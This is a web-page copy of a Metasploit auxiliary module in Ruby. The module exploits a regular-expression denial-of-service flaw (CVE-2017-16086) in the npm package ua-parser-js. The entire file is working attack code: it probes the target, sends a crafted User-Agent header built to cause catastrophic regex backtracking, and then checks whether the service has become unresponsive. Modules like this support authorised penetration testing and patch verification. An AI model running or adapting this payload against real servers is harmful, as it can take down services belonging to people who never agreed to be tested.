CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/ua_parser_js_redos.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize
11
super(
12
'Name' => 'ua-parser-js npm module ReDoS',
13
'Description' => %q{
14
This module exploits a Regular Expression Denial of Service vulnerability
15
in the npm module "ua-parser-js". Server-side applications that use
16
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
17
if they call the "getOS" or "getResult" functions. This vulnerability was
18
fixed as of version 0.7.16.
19
},
20
'References' =>
21
[
22
['CVE', '2017-16086'],
23
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
24
['CWE', '400'],
25
],
26
'Author' =>
27
[
28
'Ryan Knell, Sonatype Security Research',
29
'Nick Starke, Sonatype Security Research',
30
],
31
'License' => MSF_LICENSE
32
)
33
34
register_options([
35
Opt::RPORT(80)
36
])
37
end
38
39
def run
40
unless test_service
41
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
42
else
43
trigger_redos
44
test_service_unresponsive
45
end
46
end
47
48
def trigger_redos
49
begin
50
print_status("Sending ReDoS request to #{peer}.")
51
52
res = send_request_cgi({
53
'uri' => '/',
54
'method' => 'GET',
55
'headers' => {
56
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
57
}
58
})
59
60
if res.nil?
61
print_status("No response received from #{peer}, service is most likely unresponsive.")
62
else
63
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
64
end
65
66
rescue ::Rex::ConnectionRefused
67
print_error("Unable to connect to #{peer}.")
68
rescue ::Timeout::Error
69
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
70
end
71
end
72
73
def test_service_unresponsive
74
begin
75
print_status('Testing for service unresponsiveness.')
76
77
res = send_request_cgi({
78
'uri' => '/' + Rex::Text.rand_text_alpha(8),
79
'method' => 'GET'
80
})
81
82
if res.nil?
83
print_good('Service not responding.')
84
else
85
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
86
end
87
rescue ::Rex::ConnectionRefused
88
print_error('An unknown error occurred.')
89
rescue ::Timeout::Error
90
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
91
end
92
end
93
94
def test_service
95
begin
96
print_status('Testing Service to make sure it is working.')
97
98
res = send_request_cgi({
99
'uri' => '/' + Rex::Text.rand_text_alpha(8),
100
'method' => 'GET'
101
})
102
103
if !res.nil? && (res.code == 200 || res.code == 404)
104
print_status('Test request successful, attempting to send payload')
105
return true
106
else
107
return false
108
end
109
rescue ::Rex::ConnectionRefused
110
print_error("Unable to connect to #{peer}.")
111
return false
112
end
113
end
114
end
115
116